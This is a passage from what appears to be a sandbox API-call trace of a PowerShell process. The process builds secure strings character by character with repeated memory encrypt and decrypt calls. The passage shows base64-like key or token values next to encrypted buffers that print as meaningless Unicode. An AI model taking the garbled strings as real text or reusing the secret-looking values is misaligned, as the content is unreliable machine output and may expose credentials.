Memory=0x5c640ac) returned 0x0 [0174.063] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0﫳浃") returned 0x18 [0174.063] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.064] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊馗쾮跫윭拐츃叹凉⊑) returned 0x18 [0174.064] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊馗쾮跫윭拐츃叹凉⊑) returned 0x18 [0174.064] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.064] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0j浃") returned 0x18 [0174.064] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.064] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊宗떏涚䛧銞㏨㠵䁳∴) returned 0x18 [0174.064] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊宗떏涚䛧銞㏨㠵䁳∴) returned 0x18 [0174.064] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.064] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jP浃") returned 0x18 [0174.064] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.065] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊\ퟘ횖汪糎煶䘡쟣Ⱀ") returned 0x18 [0174.065] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊\ퟘ횖汪糎煶䘡쟣Ⱀ") returned 0x18 [0174.065] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.065] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm") returned 0x18 [0174.065] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.065] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ") returned 0x18 [0174.065] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ") returned 0x18 [0174.065] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ") returned 0x18 [0174.065] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ꣞)訪)蕒)焖)") returned 0x20 [0174.065] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.066] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5챗ץ\鴁䖹앙⋂) returned 0x20 [0174.066] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.066] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ駤ᔢꪙꙋ̽\緙∼) returned 0x20 [0174.066] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ駤ᔢꪙꙋ̽\緙∼) returned 0x20 [0174.066] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.066] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cץ\鴁䖹앙⋂) returned 0x20 [0174.066] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.066] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂⅭ쎳垤䡤綺毴") returned 0x20 [0174.066] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂⅭ쎳垤䡤綺毴") returned 0x20 [0174.066] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.067] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cC\鴁䖹앙⋂) returned 0x20 [0174.067] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.067] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ⍃쎌망㗛阱\蓟嶠⊄) returned 0x20 [0174.067] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ⍃쎌망㗛阱\蓟嶠⊄) returned 0x20 [0174.067] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.067] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnǢ릝奅싅") returned 0x20 [0174.067] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.067] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ콳怪ﺡ⍒閨ᦅ㻐") returned 0x20 [0174.067] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ콳怪ﺡ⍒閨ᦅ㻐") returned 0x20 [0174.067] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.068] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL릝奅싅") returned 0x20 [0174.068] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.068] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ뷬慒唾\闟읶䎟≸) returned 0x20 [0174.068] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ뷬慒唾\闟읶䎟≸) returned 0x20 [0174.068] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.068] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7奅싅") returned 0x20 [0174.068] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.068] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ䒛擴뿒噼텓퉛") returned 0x20 [0174.068] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ䒛擴뿒噼텓퉛") returned 0x20 [0174.068] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.068] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7o싅") returned 0x20 [0174.068] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.069] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ⍖ℊ঍Ѡ᠋컙’") returned 0x20 [0174.069] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ⍖ℊ঍Ѡ᠋컙’") returned 0x20 [0174.069] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.069] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oA") returned 0x20 [0174.069] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.069] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ") returned 0x20 [0174.069] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ") returned 0x20 [0174.069] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ") returned 0x20 [0174.070] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ") returned 0x28 [0174.070] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.070] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw퉐㱓\ߝ䪊蓊眂⋼) returned 0x28 [0174.070] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.070] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ㽿థޯ☿䣸") returned 0x28 [0174.070] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ㽿థޯ☿䣸") returned 0x28 [0174.070] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.070] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5㱓\ߝ䪊蓊眂⋼) returned 0x28 [0174.070] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.070] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌⰗ坬賍膈␨풡뫜") returned 0x28 [0174.070] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌⰗ坬賍膈␨풡뫜") returned 0x28 [0174.071] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.071] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5M\ߝ䪊蓊眂⋼) returned 0x28 [0174.071] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.071] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ探Ὑ䊒޾恬鴈ሮ") returned 0x28 [0174.071] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ探Ὑ䊒޾恬鴈ሮ") returned 0x28 [0174.071] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.071] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MA訇쩊ʄﱷ") returned 0x28 [0174.071] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.071] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ\飙ꈨ낏య闅ࢫ髤⊛) returned 0x28 [0174.072] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ\飙ꈨ낏య闅ࢫ髤⊛) returned 0x28 [0174.072] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.072] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MAI쩊ʄﱷ") returned 0x28 [0174.072] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.072] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ⇚骎谆池吠薒囏㾓") returned 0x28 [0174.072] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ⇚骎谆池吠薒囏㾓") returned 0x28 [0174.072] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.072] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MAI7ʄﱷ") returned 0x28 [0174.072] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.072] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌצּ棏읠ｈ쮲琬懐੡") returned 0x28 [0174.072] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌצּ棏읠ｈ쮲琬懐੡") returned 0x28 [0174.072] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.073] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MAI78ﱷ") returned 0x28 [0174.073] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.073] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ⼉冟窐್ⓚ곂슔") returned 0x28 [0174.073] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ⼉冟窐್ⓚ곂슔") returned 0x28 [0174.073] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.073] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MAI785") returned 0x28 [0174.073] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.073] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺") returned 0x28 [0174.074] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺") returned 0x28 [0174.074] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺") returned 0x28 [0174.074] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺ⶫ맺\x02") returned 0x30 [0174.074] SystemFunction041 (in: Memory=0x3d9d9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9d9c) returned 0x0 [0174.074] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MAI785x饯ំ\쯞榁駾粹⋘) returned 0x30 [0174.074] SystemFunction040 (in: Memory=0x3d9d9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9d9c) returned 0x0 [0174.074] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺\ﳚ袙﬿ﴑ₶䕽疬⋰) returned 0x30 [0174.074] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺\ﳚ袙﬿ﴑ₶䕽疬⋰) returned 0x30 [0174.074] SystemFunction041 (in: Memory=0x3d9d9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9d9c) returned 0x0 [0174.074] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MAI785xFំ\쯞榁駾粹⋘) returned 0x30 [0174.074] SystemFunction040 (in: Memory=0x3d9d9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9d9c) returned 0x0 [0174.075] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺⅃䯁౑酅꧃㘆宖") returned 0x30 [0174.075] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺⅃䯁౑酅꧃㘆宖") returned 0x30 [0174.075] SystemFunction041 (in: Memory=0x3d9d9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9d9c) returned 0x0 [0174.075] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MAI785xF8\쯞榁駾粹⋘) returned 0x30 [0174.075] SystemFunction040 (in: Memory=0x3d9d9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9d9c) returned 0x0 [0174.075] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺偝쳋\냚宂숵롗⋊) returned 0x30 [0174.075] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺偝쳋\냚宂숵롗⋊) returned 0x30 [0174.075] SystemFunction041 (in: Memory=0x3d9d9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9d9c) returned 0x0 [0174.075] SysStringLen (param_1="7GAkRc/pd2YlySurUaoP0jPm5cCnL7oAw5MAI785xF8=臋﹩릙\⋘) returned 0x30 [0174.075] SystemFunction040 (in: Memory=0x3d9d9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9d9c) returned 0x0 [0174.076] EtwEventActivityIdControl () returned 0x0 [0174.076] EtwEventActivityIdControl () returned 0x0 [0174.076] EtwEventActivityIdControl () returned 0x0 [0174.462] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0174.463] EtwEventActivityIdControl () returned 0x0 [0174.463] EtwEventActivityIdControl () returned 0x0 [0174.463] EtwEventActivityIdControl () returned 0x0 [0174.464] SysStringLen (param_1="") returned 0x8 [0174.464] SysStringLen (param_1="N") returned 0x8 [0174.464] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.465] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0174.465] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0174.465] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.465] SysStringLen (param_1="ND") returned 0x8 [0174.465] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.465] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0174.465] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0174.465] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.465] SysStringLen (param_1="NDZ") returned 0x8 [0174.465] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.466] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0174.466] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0174.466] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.466] SysStringLen (param_1="NDZl") returned 0x8 [0174.466] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.466] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0174.466] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0174.466] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.466] SysStringLen (param_1="NDZlO") returned 0x8 [0174.466] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.467] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0174.467] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0174.467] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.467] SysStringLen (param_1="NDZlOD") returned 0x8 [0174.467] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.467] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0174.467] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0174.467] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.467] SysStringLen (param_1="NDZlODR") returned 0x8 [0174.467] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.467] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0174.468] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0174.468] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.468] SysStringLen (param_1="NDZlODRm") returned 0x8 [0174.468] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0174.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0174.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0174.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0174.468] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.469] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0174.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0174.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0174.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.469] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0174.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0174.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0174.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.470] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0174.470] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0174.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0174.470] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.470] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0174.470] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0174.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0174.470] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.471] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0174.471] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0174.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0174.471] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.471] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0174.471] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0174.471] SysStringLen 